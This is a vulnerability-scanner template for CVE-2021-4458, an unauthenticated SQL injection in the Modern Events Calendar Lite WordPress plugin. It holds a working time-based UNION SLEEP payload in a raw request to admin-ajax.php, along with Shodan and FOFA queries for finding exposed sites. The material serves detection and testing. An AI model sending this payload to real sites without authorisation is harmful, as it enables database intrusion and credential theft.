The Modern Events Calendar Lite plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'id' parameter of the 'mec_load_single_page' AJAX action. The value is passed through sanitize_text_field() (which does not strip quotes) and interpolated unescaped into a single-quoted SQL string in app/libraries/render.php, reachable without authentication through the wp_ajax_nopriv_mec_load_single_page hook. This template confirms the flaw with a time-based blind UNION (SLEEP) payload plus a Modern Events Calendar response fingerprint.
id: CVE-2021-4458
info:
name: Modern Events Calendar Lite <= 6.3.0 - Unauthenticated SQL Injection
author: DhiyaneshDk
severity: medium
description: |
The Modern Events Calendar Lite plugin for WordPress is vulnerable to unauthenticated SQL Injection via the 'id' parameter of the 'mec_load_single_page' AJAX action. The value is passed through sanitize_text_field() (which does not strip quotes) and interpolated unescaped into a single-quoted SQL string in app/libraries/render.php, reachable without authentication through the wp_ajax_nopriv_mec_load_single_page hook. This template confirms the flaw with a time-based blind UNION (SLEEP) payload plus a Modern Events Calendar response fingerprint.
impact: |
A successful injection allows an unauthenticated attacker to read arbitrary data from the WordPress database (e.g. user credentials).
remediation: |
Update to a patched release. Note the vendor fix in 6.4.0 (changeset 2683727) only relocated the query behind a cache wrapper without parameterizing it, so harden input handling / enforce addslashes.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/703ba736-5834-40f2-9cf6-a6a70a73e4d6
- https://plugins.trac.wordpress.org/changeset/2683727/modern-events-calendar-lite/trunk/app/libraries/render.php
- https://nvd.nist.gov/vuln/detail/CVE-2021-4458
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 5.9
cve-id: CVE-2021-4458
epss-score: 0.004
epss-percentile: 0.36393
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
vendor: webnus
product: modern_events_calendar_lite
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/modern-events-calendar-lite"
fofa-query: body="/wp-content/plugins/modern-events-calendar-lite"
tags: cve,cve2021,wordpress,wp-plugin,wp,sqli,modern-events-calendar-lite,webnus,time-based,unauth,vkev
http:
- raw:
- |
@timeout: 20s
GET /wp-admin/admin-ajax.php?action=mec_load_single_page&id=0%27%20UNION%20SELECT%20SLEEP(6)%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16--%20- HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "status_code == 200"
- "contains(body, 'mec-single-event')"
- "duration >= 6"
condition: and
# digest: 4b0a00483046022100d8f10c6770b00ab19e8fdf631914c428864807fafa1ebbf48e1df7acc6f6bcb4022100cb264500fe7050167a6203af71dee75ae6bc2de26da528cd4c81393d2d75fc7a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.